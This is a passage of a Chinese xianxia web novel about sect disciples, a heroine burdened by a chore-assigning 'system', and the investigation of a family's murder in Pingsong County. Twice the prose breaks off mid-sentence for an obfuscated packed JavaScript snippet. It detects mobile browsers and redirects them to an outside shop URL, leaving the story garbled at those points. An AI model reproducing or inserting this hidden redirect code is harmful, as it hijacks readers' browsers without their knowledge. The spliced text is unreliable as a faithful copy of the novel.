“你再详细说一说,你遇到她的情景。”孟知匀知道她对这件事有心结,加之薛逢梨心思敏感,平日里容易内耗,若是不把这件事彻底了结,估计她要因此憋出心病来。 薛逢梨靠在师姐温暖的怀里,细声细气地开口:“上月是我轮值丹药斋,帮师叔祖将一些灵药拿去钟灵郡卖给腾云楼,回来路过平松县,看到一个衣衫不整、蓬头垢面的女子从巷子里冲出来,嘴里含糊不清地喊着‘爹娘’‘害我’之类的话,街上的人都对她避之不及。” “我问了问旁边摊子上卖桃酥的奶奶……”薛逢梨回忆起那日。 满头白发的老人对着街上的闹剧摇了摇头,对她说:“这是李家的疯儿媳,是隔壁晚堂县一家私塾先生的女儿,父母在一年前因病过世了,她依着儿时就定下的姻亲来平松县投靠未来的夫婿家。李家人向来和善包容,在街坊邻里中名声很好,二话不说就收留了这个孤女,还依照婚约将她八抬大轿风风光光地抬进府,待她如对自家亲女一般。 可惜这阮氏命不好,许是娘胎里就带了疯病的根,进门不到半年就疯了,成日里哭爹喊娘要回家,简直没个人样儿。偏偏李家仁厚,一直请先生给她医治,未曾说过要休妻。可这疯妇竟在外抹黑李家名声,说自己受了虐待,可你看她,身上穿着绫罗绸缎,也无一丝伤痕,除了自己疯癫颠地弄了个蓬头垢面,哪里有半分受虐待的样子?” 几个家丁从巷子里追出来,将她往回拖。 “救救我!娘!爹啊!救救我——”女人挣扎着不愿被拖走,布满红血丝的眼睛看向街上唯一未曾避开她的少女。 可惜,只是个乳臭未干的小女孩。 她不再呼喊了,像一具尸体一般被活活拖了回去。 薛逢梨震惊过后,忍不住追了上去,结果李家的朱漆大门“砰”地一声关上了,外面只遗漏了一只绣花鞋。 她敲开了李家的门,出来的是 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孟知匀五官标致,生就一双潋滟明眸,眼尾一颗痣反而更显眉目分明、气质清冷,平日里笑意盈盈时令人如沐春风,现下一副凝神皱眉的模样,自带三分疏离冷意,让人不由得心下慌张。 半晌,她轻轻拍了拍薛逢梨的肩膀:“无事,若你放心不下,这几天我找机会陪你下山一趟,我们再去李家看一看。” “自愿”加班而已,她提高一下工作效率,大概是可以抽出一点时间的。 “真的?”薛逢梨眼睛一亮,站起身就要去收拾行装,“那我现在就去准备准备!” 孟知匀一把拉住她:“祖宗,你不看看现在几点了?赶紧去睡觉吧,下个山而已,没什么好收拾的。” 薛逢梨这才注意到时辰,不好意思地抿了抿唇:“好,那师姐你也快点休息吧,今天多谢你愿意听我说这些话,除了师父,也就你愿意在大晚上听我说这些凡尘琐事。” 目送小师妹进了寝舍,孟知匀仰头望天,抱着自己破剑闭眼默数了六十秒,权当自己已经休息过了,起身拍了拍屁股就赶去见春峰练习剑术。 * 见春峰是春晓剑弟子素日里修行的地方,满园花团锦簇、绿意葱茏,像一片生机勃勃的世外桃源。 翠微长老薛凝不是个严苛的师长,连带着春晓剑这一脉都对待弟子较为宽和,正好处于非常严厉的九夏剑和完全放养的霜雪剑之间。 苦练了一整晚的孟知匀打了个哈欠,顶着两个明显的黑眼圈站在薛凝面前,心里还不是非常有底。 “又通宵打杂去了?”薛凝不知从哪弄来一把春色满园的团扇,装腔作势地扇了几下,让一旁的弟子忍不住打了个喷嚏。 孟知匀立马摇头:“没有,只是没睡好。” 薛凝笑着摇了摇头:“嘴硬。” 随后,她看向一旁的薛停:“今日你们二人对练。” 5. 扫墓 “请师姐指教。”薛停上前一步,冲孟知匀行了个执剑礼。 孟知匀依样还礼,把自己伤痕累累的破剑抽了出来,围观的几个剑修都有些不忍直视。 头一遭看到这么破的剑。 薛停资质不错,十六岁入百剑峰,在山间拔出了自己的晨曦剑,而孟知匀拜入师门未满一年,尚且不能进入藏剑洞天,所以二人还未开始比试,孟知匀在佩剑上就落了下乘。 薛停无意占这种便宜,询问一旁的翠微长老:“不如我们都换一把剑再来比试?” 薛凝的目光落在孟知匀剑刃的豁口上,脸上带着一丝笑意,却道:“不用,开始吧。” “比试而已,不必有心理负担。”孟知匀握紧了剑柄,不等薛停再说什么,她就如同一阵徐徐吹来的春风,转瞬便到了他身前。 阳光正好,满园春色,却仿佛有一阵濛濛细雨将他笼罩,湿润、甘甜,带着破土而出的生命力。 薛停修为尚可,出手迅疾,及时将绵密的雨势挡在了周身剑气之外。 他的剑意和春晓剑主流亦不同,重在生机,荡出的一缕灵气见缝插针地吸纳了几滴润泽的露珠,变成了几片青翠欲滴的绿叶。 几点绿色随晨曦剑的剑气直冲她斜劈过来。 孟知匀的身形几乎快如鬼魅,仿佛轻而易举便躲过了朝她扑来的霸道剑锋,反而剑尖一挑,将几片绿叶整齐地串在了自己的破剑上,随后剑气一荡,直接把叶子震成了漫天的碎片,随着不绝的春雨再度笼罩了薛停。 薛停避之不及,只能将周身灵气灌入晨曦剑,古朴的剑身上骤然散发出莹莹光辉,光芒有如实质,随着剑招逼退了几多雨丝,却终究不敌对方无孔不入的剑气,被夹杂着碎叶的细雨劈头盖脸淋了一身。 “师姐剑术精妙,是我输了。”俊秀少年身上沾满了绿叶,显得分外狼狈,他却没有半分恼羞成怒,反而又朝孟知匀行了一礼。 孟知匀打了个响指,一阵微风吹过,正好带走了薛停身上的碎叶子和湿润水汽。 虽然她看起来仿佛非常轻松,但其实装腔作势的成分居多,薛停并非泛泛之辈,修为扎实,她在这场比试之中也是走钢丝一般,一旦一不小心被抓到漏洞,便是满盘皆输。 她的春雨看起来唬人,实则由于功力不深,真实笼罩范围远比看上去要小得多,薛停因急于进攻,反而给了她可乘之机,让她得以将灵气混杂着碎叶和雨水直接浇了他满身。 而且比试场上,往往花架子大于实招,她的剑术看似密不透风,实则后劲不足,难以在真实对战中切实占到便宜。 薛凝先是对薛停点了点头:“不错,有所进益,没给你师父丢脸。” 薛停微笑道:“是师姐手下留情。” 薛凝似笑非笑地走到孟知匀面前,用手里的团扇拂掉了她肩头的落花,温声道:“你自己说,今日表现如何?” “请师父责罚。”孟知匀收起自己的破剑,低眉敛目,十足乖顺。 薛凝看着她眼下的乌青,沉默片刻才道:“既然你这么喜欢打杂,今日就去帮掌门打理桃花林吧。” “长老……”薛停想再说些什么,却被孟知匀一个眼神制止了。 孟知匀颔首:“弟子遵命。” * 钟粹山气候寒冷,就算是见春峰上的满园春色也大多是特意培养出来的奇珍异草,不畏苦寒。 他们用灵术变出的花花草草,更是只有一夕生机,不能长久。 而掌门为故去多年的夫人所种下的这片桃花林却是实打实的凡间草木,多年来由掌门的灵气加以滋养,维系其花开不谢,四季如春,倒成了钟粹山一道难得的美景。 孟知匀领了翠微长老的责罚,系统待办却未曾清空,导致她只能阳奉阴违地背着师父到处打杂,到了晚上才有空前往山谷中的桃花林。 掌门夫人朱庭兰的墓就在桃花林的正中间,四周花树环绕、落英缤纷,伴有潺潺溪水,在夜色之中倒颇有一番朦胧的景致之美。 孟知匀先给朱夫人扫了墓,拂去了墓前的落花与积灰,然后才开始照料周围的桃树。 她迎着风口捏了个诀,蒙蒙的小雨顺着风势被均匀地洒到了桃花树上,细雨如丝,在碰到花瓣时便幻化成一缕灵气,顺着花朵钻进树干内部加以滋养。 孟知匀如今修为有所精进,便一连掐了好几个诀,同时进行了几场局部降雨。 不等雨下完,她便打了个哈欠,靠着树干睡了过去。 从昨天到现在,她压根儿没睡过一个囫囵觉,一整天都仿佛提线木偶一般强行提着一口气,现在到了这么一个宁静之地,她实在抵不过眼皮上的千斤之重了。 薛昱提着酒走进桃花林时,眼前看到的便是一个身上落满了花瓣的少女。 她睡觉时总是喜欢蜷缩成一团,不仔细看还真注意不到。 春雨诀还没有结束,一片细雨被风吹散了,缠绵地挂到了他的发丝上,带来几丝微妙的凉意。 薛昱没去打扰她,拎着那坛桃花醉坐到他娘坟前,仰头喝了一口酒。 掌门与二少主关系不睦,这在门派上下不是个秘密。掌门薛琛素来不苟言笑、气度威严,其修习的九夏剑被天下人戏称为“酷夏剑”,简直是剑如其人,跟掌门相处如同头顶炎炎烈日,令人颇有压力。 至于薛二少主,平日里除了冷淡些、不怎么见得着之外,倒是没人觉得他不好相处,不过也不知道怎么回事,这爷俩一凑到一起,简直是水火不容,不出十句话必有争吵,往往闹得不欢而散,使夹在中间的大少主薛旻格外难做,连稀泥都没得和。 孟知匀是被自己的幻听惊醒的,醒来时浑身抖了一下,仿佛做了什么骇人的噩梦,匆匆看了待办,发现其空空如也之后,她才平复了心跳,彻底松了一口气。 结果她这口气还没吐匀,就看到了坐在坟前盯着她看的薛昱。 她揉了揉眼睛,人还在,脚边还倒着一个空酒坛。 薛昱皮相太过出众,簌簌桃花雨中,他坐在坟前,反 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薛昱直勾勾地盯着她看,直白道:“不信。” 孟知匀被他纠缠出了几分火气,很想狠狠甩开他的手,扔下一句“不信拉倒”就悠悠而去。 可惜,她身为一个负债累累的牛马,还没有这种底气。 她深吸了一口气,强颜欢笑道:“静水谷一个弟子见我流落山野,心下不忍,让我进了静水谷,还塞给了我一个馒头,可我待了还不足一刻钟,那名弟子便说他们仇家寻来了,让我赶紧离开,我离开后走到半山腰便饿昏了过去。” “静水谷被大火一把烧了。”薛昱这下应该是信了,松开了她的手,“据逃出来的两个弟子说,是静水谷少主谭素月叛出宗门,引起内讧,导致自相残杀,这才落了个灭门的下场。” 孟知匀微微眯了下眼睛,尽力回想当日的场景。 她那时候一天比一天虚弱,却怎么也走不回钟粹山,意识非常混沌,对所遇的人和事都只剩下一点模糊的印象,唯独对那个让她续了半条命的馒头和那个让她逃出生天的狗洞印象深刻。 不过,似乎当时带她回静水谷的那个修士就叫谭素月? 她隐隐之间听到有人管她叫素月姐姐。 后来她回了钟粹山,每天都被系统奴役压榨,渐渐也忘了再去打探当初那个门派的事情。 没想到,最后居然灭门了。 “你赶到的时候……”孟知匀如鲠在喉,想问一问当时的情况。 薛昱答道:“火已经烧起来了,整个静水谷付之一炬,火灭了之后也只能帮他们收敛尸体,下葬超度。” 谭素月。孟知匀闭了下眼睛,脑海里浮现出一张笑容甜美的脸。 “我觉得不是她。”她嘴唇翕张,低声说了一句。 “嗯?” “她是个好人。” 6. 下山 “好人?”薛昱轻笑了一声,不知是因为漫天桃花还是醉人美酒,他清凌凌的眼睛氤氲着几分迷蒙的雾气,说出的话却毫不留情,“人心鬼蜮,仅凭一面之缘,你怎么知道自己没有被她蒙蔽?” 孟知匀本来想再争辩几句,又觉得自己没必要和一个醉鬼计较,便从善如流点了点头:“师兄说的对,真相如何还是得等切实调查之后再论。” 等陪薛逢梨去完李家,再去找师父汇报修行进益,然后帮师叔祖整理一下本月的药材……最后,她大约能抽出时间去静水谷看一眼。 恍惚间她仿佛看到了一堆人拿着系统的待办围在她身边,叽叽喳喳让她快做,而她只能对每个人笑脸相迎,依照待办次序依次安抚:“做完你的做你的,做完你的做你的!” 薛昱微眯了下眼睛,又静静看了她好一会儿,仿佛隔着巧言令色的面皮看穿了眼前这人阳奉阴违的内心,冷嗤道:“口是心非。” 随后他转身回坟前,拎起自己的酒坛,三两步便走进了一旁的花树林里。 孟知匀看着他逐渐远去的背影,心想二少主还挺文明,喝醉了酒还记得把自己的空坛子带走,没给人添麻烦。 要是钟粹山也有明日之星、文明标兵什么的投票,她高低要给他上一票。 仰头看了看日渐西斜的月亮,孟知匀伸了个懒腰,绕着桃花林走了一圈,没发现遗漏的桃树,这才揉了揉酸涩的眼睛,想着现在回寝舍还能睡一个半时辰。 “前往冬藏峰‘甲’字阁送饭,要求:三菜一汤,两荤一素,可前往饭堂后厨取餐,按时送达则免除餐费,务必在半个时辰内送达。” 哪个大馋小子大半夜这么饿! 还三菜一汤,她看这系统长得像三菜一汤! 御风赶去饭堂且趁着夜黑风高悄么声从后厨偷了三菜一汤的孟知匀感觉自己比凌晨接单的饿了么骑手还要命苦。 她甚至要自己去偷餐。 带着满腔怨气,孟知匀在一刻钟后赶到了冬藏峰。 霜雪剑这一脉似乎自门派开创起就喜欢保持神秘感,仿佛社恐扎堆,甚至在平日里修行的地方前设了一个风雪迷阵,劈头盖脸的暴风雪劝退过许多想要来切磋交流的别峰师姐妹、师兄弟。 孟知匀提了一口气,定住心神,抱着食盒逆着风雪往冬藏峰院落走,还得注意脚下有无走错,好不容易过了迷阵,到了甲字阁前,结果她刚把食盒放到门口,连脑门上的雪还没拂掉,门就微微开了一个缝隙,里面伸出一只手,以迅雷不及掩耳之势把食盒拿了进去,然后“哐当”一声把门关上了。 大半夜的,天上会掉饭吗?这人连句多谢都不会说吗? 晚一秒能饿死不成? 孟知匀深吸了一口气,抑制住了想去踹门的冲动,连身上的雪都懒得拍了,转过身,准备沿着来时路从风雪迷阵出去。 结果刚刚还到处乱飘的鹅毛大雪竟不知何时停了,一个背着剑的男子远远站在阵眼处,朝她点头示意。 这人的气质比薛昱还要冷峻,往雪地里一杵,像极了后山上的松树,浑身上下都散发出一股拒人于千里之外的气场,非常符合她对传统仙侠小说里剑修的刻板印象。 而且,能在冬藏峰停下风雪迷阵的,应该只有薛昱以及他师父——岁寒长老薛以源。 孟知匀远远回了个弟子礼,忙提气御风离开了冬藏峰院落,待她刚走出风雪迷阵一步,后面暂停的阵法便又运转了起来,铺天盖地的大雪遮掩了阵眼处那人的身影。 虽说钟粹山上下一致认为岁寒长老是四大长老里最孤僻、最不见人影的一个,但是经过今晚短暂的相交,她倒觉得风雪虽大、冬时虽寒,却不乏人情味。 * 翌日,孟知匀起床的时候,感觉自己的两个黑眼圈更深了。 她揉了揉自己的眼皮,一把拉开寝舍的门,然后就看到了守在自己门口的薛逢梨。 “师姐,你昨晚没睡好吗?”薛逢梨本来就心绪不安,一开门被她眼下的乌青吓了一跳。 孟知匀挤出点笑容:“没事,昨日修行到半夜,没睡够而已。倒是你,一大早站我门口干嘛?” 薛逢梨拿出自己的本命剑“湫水”,食指和中指凝聚灵气,缓缓拂过剑纹,剑尖流出一股灵气,形成了一段剑铭。 这是钟粹山独有的通信灵术——千里音,一般是宗门用来和“钟楼”轮值弟子通信的。 但是如果遇到一些较为紧急的任务,戒律堂便会直接传出千里音,安排弟子下山执行。 当然,使用千里音的先决条件是要拥有自己的本命剑,其在百剑峰蕴养千百年,和宗门内的灵阵已有了共鸣,像孟知匀那把越用缺口越多的破剑则是想都别想。 “戒律堂说昨夜平松县李家遭遇了不测,官府认为不似凡人作案,所以向山上求助,今天让你、我和薛昱师兄下山探查。”薛逢梨用指尖触碰那段剑铭,淡银色的光辉随着她的手指缓缓流入。 孟知匀挑了下眉:“薛昱师兄?怎么他也去。” 她和逢梨潜心种了一个月的凝神芝,算是和这李家有几分渊源,至于薛昱,她感觉这人近来的出场率有些过高了,往日里一年半载都见不到的人,最近似乎隔几天便能产生交集,让她有些奇怪。 薛逢梨轻轻拽了一下她的袖子,轻声道:“据说薛昱师兄最近和掌门之间的矛盾愈发严重了,各位长老有意调和,便顺从薛昱师兄的心意,多多派遣他下山了。” “的确,”孟知匀深以为然,“家人之间还是距离产生美嘛。” 之前她妈妈还在世的时候,她大学寒暑假刚回家那阵简直是皇帝般的待遇,后面不出一周必是猫嫌狗厌,天天吃妈妈的挂落。 可惜,后来想挨骂也没人骂她了。 孟知匀及时收回了心绪:“走吧,我们直接去山门口等他。” * 钟粹山是整个北凛州最为雄伟的灵山,山门前有一千四十二个思过阶,旁边则立了一块被刻成了剑的巨石,上书:无愧于天、无愧于地、无愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165232|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于己。 二人赶到山门时,看到的就是抱臂倚在巨石上的薛昱。 他微微低着头,身边围着几道剑气。 孟知匀简直幻视在村头被大爷大妈围着问话的小年轻,对薛逢梨道:“没想到他还挺有耐心。” 不是说霜雪剑盛产高岭之花吗? 薛逢梨点点头,突然想到了什么,又轻轻扯了扯自家师姐的衣袖:“我上个月去丹药斋当值,听师叔祖说……” 她似乎有点心虚,声音越来越小:“霜雪剑总出情痴。” “什么?”孟知匀有点不可置信地挑了挑眉。 确定是情痴,不是剑痴吗? 薛逢梨干脆趴在她耳边,压低了声音:“据说,岁寒长老,以及岁寒长老的师父、岁寒长老的师父的师父……都有过十分心爱之人,可惜未曾有善终的,大多落了个孤苦到老、守身如玉一生的结局。” 哦,不仅恋爱脑,还情路坎坷。 “昨日是岁寒长老亡妻的忌日,每年这日,他都要去钟灵郡一家不知名的小面馆吃一碗馄饨,据说风雨无阻。”薛逢梨虽然性子软,但是讲话向来讲究实证,所以她说出来的话大多数是经过求证的事实。 孟知匀摸了摸下巴,心想怪不得昨天半夜居然能碰巧遇到薛以源。 听二人隔着几十米嘀嘀咕咕了半天,薛昱好整以暇地抬起头,凉凉地看向她们:“说完了?” 正逢日出,朝阳披了他半身霞光,让那张漂亮冷淡的脸少见地显出了几分明媚。 围在他周遭的那几道剑气则迅速消失不见了。 薛逢梨本以为自己的声音足够小了,眼下被人抓了个正着,脸颊上泛起了窘迫的红晕,低着脑袋看自己的脚尖,心想以后再也不能不背着人谈八卦了。 虽说只是讲了岁寒长老,但焉知薛昱师兄会不会推己及人,觉得她们在影射自己呢? 孟知匀向来脸皮厚比城墙,加之睡眠不足,早上大脑一片混沌,根本懒得寻思太多,只冲薛昱点了点头:“师兄久等了。” 薛昱也懒得计较:“御剑下山。” 孟知匀依言拔出自己那柄整齐地崩了六个豁口的剑,毫不在意地准备注入灵气御剑。 薛逢梨有些看不过眼:“师姐,你这剑飞起来容易漏风吧,不好维系平衡。” “没事,”孟知匀对自己的破剑越看越满意,这六个豁口造型还挺齐整,“掉不下去。” 薛昱欲言又止地看着她这柄剑,半晌憋出来几个字:“……挺别致的。” 不等孟知匀夸他有眼光,薛二少主便扔下一句“你们稍等我片刻”,转瞬没了影。 薛逢梨看着坐在石阶上擦剑擦得起劲的孟知匀,心想或许此剑有什么她没看出来的玄妙之处,不然她师姐也不至于如此爱不释手。 必是如此。 孟知匀则动作轻柔的抚了抚剑身,心道:“剑兄你可千万要多撑一段时间啊。” 她还得整整半年才能进百剑峰的藏剑洞天呢。 7. 李宅 不过须臾功夫,薛昱拿着两柄剑再度出现,将其中一柄覆着薄霜的银剑递给孟知匀:“你用这把来御剑。” 孟知匀上下打量了一下这把剑,看其通体披霜,却难掩剑刃锋芒,剑身上铭刻的剑纹更是玄妙至极,没有贸然伸手去接。 这显然是薛昱自己的本命剑——雾凇。 “多谢师兄好意,”孟知匀推脱道,“不过我的剑虽破,但御剑还是绰绰有余的。” 她自己就是剑修,当然知道本命剑的重要性,说白了,跟外置器官也没什么差别了,她自认和薛昱的交情还没到能借用对方本命剑的地步。 薛昱反手将另外一把递给她:“那用这把。” 这柄剑显然和雾凇剑用的不是一种材质,剑纹是几簇盛开的春花,剑刃隐隐透出些淡黄的灵光,剑柄上刻着两个工整的字——醉春。 这是薛家大少主薛旻的本命剑。 也不知道薛昱有没有跟他哥打过招呼,居然就这么把人家的本命剑顺过来了。 “必须二选一吗?”孟知匀脑门有点冒汗,左右为难地看着面前两柄威名远扬的绝世名剑。 薛昱没什么情绪地“嗯”了一声,撩起眼皮瞥了她一眼:“养剑堂今日闭堂,时间紧急,只能借来醉春。” 随后,他不着痕迹地提醒:“眼下时辰不早了,再不下山容易延误探查时机。” 他年少不懂事的时候没少拿他哥的剑出去乱劈乱砍,甚至在后山的蕴灵池边拿醉春杀过鱼,久而久之这两兄弟对本命剑的态度都颇为随意,哪怕随手借同门应急也没什么心理负担。 孟知匀那柄破剑早该扔废铁堆里了,如果她真的用其御剑,一路上的速度必然受限,容易耽误时间。 他忍不住多打量了那柄不像话的剑,心想:“看不出来,她倒挺念旧。” 孟知匀终于屈服了,伸手接过雾凇剑,手指微动,立刻给系统提交了一个资产借用单,还拿出一张宣纸,摸出一根笔,详细标明了借用事由和借用期限。 她“唰唰”两下在末端写下了自己的名字,然后将纸递给薛昱:“劳烦师兄签个字。” 薛昱从没见过这种字据,将其从头到尾看了两遍,按耐住心里的疑惑不表,在她的名字下签上了自己的名字。 钟粹山重视弟子教化,一直有延请人间有名的文士入山教书,他们这一代的教书先生号灵微,曾经是盛朝连中三元的状元郎,后来因厌倦官场倾轧而归隐山林,受玉露长老之邀,来到了钟粹山传道授业。 所以这一代从学堂出来的弟子,其字迹中多少能看出来灵微先生的筋骨,笔走龙蛇、行云流水,自有一派飘逸清健。 而孟知匀的字…… 字迹工整、排版整齐,说是山下书肆印出来的也无人会怀疑。 孟知匀没想到自己为高考苦练多年的一手字在薛昱那儿引起了好奇,只顾着珍而重之地把资产借用单揣进怀里,随后看到系统几乎是秒通过了她的提单,她这才把心放到肚子里。 “师姐,你这是干什么?”薛逢梨见她一阵忙活,终于忍不住凑过来问了一句。 孟知匀随口解释道:“打个欠条,以免抵赖。” “抵赖?”薛昱垂眸看着她,“谁?” 当然是一脸贱相的系统啊。 上次下山执行任务的时候,这傻x系统明明发邮件说了在外吃饭、住宿可以报销,结果等她回了宗门,它又以票据不齐全为由驳回了她的报销申请! 说什么“发票”需有店家签字,还说总金额超过一两银子的需附上明细水单,具体要求也不一次性说清楚,害她山上山下地跑了三四回才把所有单据补齐。 好在那家店的老板是个情绪稳定的好人,不然看到她这种三番五次跑来要人签字的,早就将人一扫帚轰出门去了。 薛昱微微挑眉,看着她又是攥紧拳头又是青筋暴起,仿佛因他这个问题想到了十恶不赦的仇人。 孟知匀却深吸了一口气,微笑答道:“自然是怕我抵赖,有字据为证,能够督促我按时归还师兄的剑。” 薛昱看着她精彩纷呈的脸色,听着她言不由衷的解释,冷泉般的眼眸里泛出点依稀的涟漪。 她倒是挺心大,明明什么都摆在脸上了,却还敢公然说谎。 “下山。”他收回了目光。 * 三人的资质都是钟粹山这一代弟子中的佼佼者,对于御剑这种基础技能,用起来简直是得心应手,加之平松县离钟粹山不远,不到半炷香的功夫,他们就抵达了李家。 衙门已经派人将整个李宅围了起来,往日里热闹的巷道如今安静肃穆、落针可闻。 县令亲自带人守在李府门口,一见有人御剑而来,忙搁下了茶盏,拱手就迎了上去:“三位可是钟粹山的仙师?” 孟知匀没指望她那高岭之花师兄跟人打交道,主动上前虚扶了县令一把,温声道:“正是,大人不必多礼。” 不等对方再多说什么虚头巴脑的东西,她直接开门见山地问:“李家人可是昨晚遭遇不测的?” 刘县令忙道:“正是。” 他使了个眼色,命人打开了李宅的门,引三人进入院内,冲廊下一指:“仙师请看。” 房廊下整齐地挂着一溜儿尸体,跟风干的腊肠一样,风一吹,尸体微微摆动,造型颇为诡异。 薛逢梨瞪大了眼睛,捂住嘴堵住了差点脱口而出的惊叫。 “李宅一十二口人,都在这里了。” 除了李家老爷、夫人、少爷,还有三个婢女、两个厨娘、一个马夫、三个小厮。 “此事颇为诡谲,我等不敢擅自调查,便及时封锁了李宅,静等仙师探查。”刘县令堪堪站在门槛处,态度谦恭,却说什么也不肯踏入李宅一步。 这一溜儿尸体迎风招展,实在令人闻之色变,他们这种没有灵脉的肉体凡胎,最怕邪祟冲撞,若是在这里沾上什么不干净的东西,指不定回去就被恶鬼缠身,平白丢了性命。 他寒窗苦读数十载才换来官身,还有一家老小需他供养,万万不能因此丧了命。 孟知匀察觉到了县令苍白如纸的脸色,当然知道他心中顾虑,便回头递了个台阶:“李宅或许怨气未散,怕冲撞了大人,还请大人于宅外坐镇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟知匀则顺着薛昱离开的方向跟了过去,结果没走几步就看到那人站在巷子旁的一个臭水沟前,不等她过去一探究竟,一只温热的手便蒙住了她的眼睛,以臂为桎梏,带着她走远了些。 “……师兄?”周身被他的气息笼罩,仿佛身处一场干净凛冽的大雪中,孟知匀有些错愕。 薛昱松开她,往后退了一步:“脏,别看了。” 孟知匀回想了一下,那几个男人的血迹大多在裤子裆部及以下地方,稍加联想,她就知道了薛昱追过来看到的是什么。 “都在臭水沟里了?”她转过身,轻飘飘地往他身后的水沟远远瞥了一眼。 薛昱诧异她居然能猜到是什么,“嗯”了一声,语调毫无起伏地补充道:“已经被水沟里的老鼠啃了。” 想必这正是凶手乐见其成的结果。 让这些人爱若性命的命根子被阴沟里的老鼠啃食殆尽。 薛昱走出两步后见她还没跟上,便侧身挑眉看她:“还不走?” 孟知匀收回心绪,跟了上去。 8. 卿依 “今早……今早用过早饭后,我想起来李夫人上次问我要一个绣花样子,正巧我要来这边买料子,便想顺路把样子给李夫人送过去,谁曾想,敲了半天门也不见有人应答,我见那门是虚掩着的,就推了一把,结果……”孙二娘脸色苍白、浑身冒汗,惊魂不定地勉强说道,“结果就看到那廊下挂了一排尸体啊!” 薛逢梨递过手帕让她擦汗:“在李宅之外,你可曾遇到过什么可疑之人?” 孙二娘擦汗的手有些抖,摇了摇头:“没有,那时候还早,外面的巷子里没什么人。” 钟粹山清秋剑一脉最擅洞察万事万物,以往薛逢梨因性子软,容易陷入内心纠结,反而常常忽视对外界情况的观察,近来遭受李家事情的冲击,她反倒于此道上有所明悟。 “你再想想,”薛逢梨直直看向孙二娘,一双杏眼如静水一般沉静,不动声色间便可牵动人心绪,“近几日,可有遇到什么可疑之人?” 孙二娘嘴唇无声翕动了一下,然后腿一软,“噗通”一下瘫倒在了地上,嘴上却仍说:“没有没有,不曾见过谁。” “刘大人,包庇邪祟该当何罪?”薛逢梨一把将人扶了起来,问出的话却令人浑身冰冷。 刘县令一直袖手站在一旁,闻声忙答道:“处以火刑。” “仙师!”孙二娘吓得脸色惨白,二话不说就要跪下,“我真的不曾见过谁啊!我没有包庇邪祟,我……我冤枉啊!” 孟知匀和薛昱返回李宅门前时,正听到孙二娘扯着嗓子喊冤。 薛逢梨抓住她的一只胳膊,看似清瘦的姑娘,手劲却跟铁钳一般,让人想跪都跪不下去。 “李家的儿媳,姓甚名谁?”她嗓音细软,一句话出口却如在那孙二娘心里点了个冲天炮仗,差点把人活活吓晕过去。 孟知匀走过来,接过薛逢梨的话:“你既然与李夫人交好,怎会不知她家儿媳的姓名?难不成你是存心想替犯案之人遮掩?” 被人用话一激,孙二娘只得道:“她叫……阮卿依,是从晚堂县过来的,我与她不过几面之缘,怎会……怎会为她遮掩!” 许是意识到了自己话中有不妥之处,哑声了几息后,孙二娘又道:“再说她一个疯了的弱女子,怎能做下这等凶案?仙师们莫要诳我。” “那你怕什么?”薛逢梨若有所指地瞥了一眼她颤巍巍的双腿。 孙二娘用手帕抹了一把汗,面露苦色:“仙师们动辄把罪名扣在我一个小女子身上,我怎能不怕?” “你近日来见过阮卿依。”孟知匀上前两步,走到孙二娘面前,忽然看着她的眼睛断言。 孙二娘猛地瞪大了眼睛,不由自主地往后退了一步:“不……我……” 挺好,一诈就给诈出来了。 孟知匀转而对旁边的刘县令道:“还望刘大人派人守好李宅。” “这是自然。”刘县令正色道,“仙师们只管把心放进肚子里。” 薛昱一直站在旁边不曾说话,眼看自己两个师妹软硬兼施地从那孙二娘嘴里套出了话,便先行一步推门进了李宅,迅速在院子里布下了一个阵。 薛逢梨和孟知匀后脚就连拉带拽地将孙二娘“请”进了李宅。 “大人,大人!”孙二娘挣扎着向刘县令求救,“我真是冤枉的啊!” 刘县令今日铁了心要配合钟粹山把事情查清楚,连衙门的庶务都搬到了李宅门口处置,哪肯信这可疑之人的片面之词,只摆了摆手:“你若冤枉,仙师们自会还你清白,去罢。” 孟知匀把孙二娘摁到了阵法中央,随后在她对面盘膝而坐:“逢梨随我通灵入梦,师兄你……” 薛昱捡起被她随手扔在地上的雾凇剑,拍了拍剑鞘上面的灰尘,接过她的话:“我为你们护法。” 天姥姥,她刚刚还以为手里的是自己那把破剑,就惯常一扔。 那可是雾凇剑啊! 不过,就沾了点灰尘而已,应该不会让她付折旧费……吧。 见薛逢梨也入了阵,孟知匀强迫自己收回心绪,并拢右手的食指中指,将指尖流出的葱茏绿意点进了孙二娘额心,刚刚还在阵中百般挣扎的孙二娘瞬时安静了下来,微微闭上了眼睛。 人的魂灵极为脆弱,凡人更甚,所以通灵之术一度被修真界列为禁术。所幸春晓剑一脉的修行之道中包含绵绵生机,能够在通灵时增强魂魄韧性,护其不受术法损伤,这才让通灵术重现江湖。 恰好,孟知匀是这一代钟粹山弟子中最具通灵天赋的春晓剑传人。 淡绿的灵气像几簇破土而生的藤蔓,以孟知匀和孙二娘为中心,逐渐蔓延到了阵法边缘,使整个阵法如同一个将三人托起的巨大绿叶。 “别逞强,找不到就及时退出来。”薛昱看着坐在阵中的两个师妹,叮嘱了一句。 孟知匀颔首:“知道了。” 随后,她和薛逢梨一起于虚空中画出通灵剑铭,将其点入逐渐成型的阵法中。 通灵阵开始缓缓流转,二人则凝神静气,闭上了眼睛,任阵法将她们的神识带入孙二娘的梦境中。 * “你……你真铁了心不嫁人?”孙夫人坐在堂上,把手里的茶盏往桌上一搁,气都有些吐不匀了。 眼看她今年虚岁二十五,已经蹉跎成老姑娘了。别家的女子,在这个年龄,儿子都上学堂去了,偏偏她死活不肯嫁人! 真是要活活气死她这个老婆子! 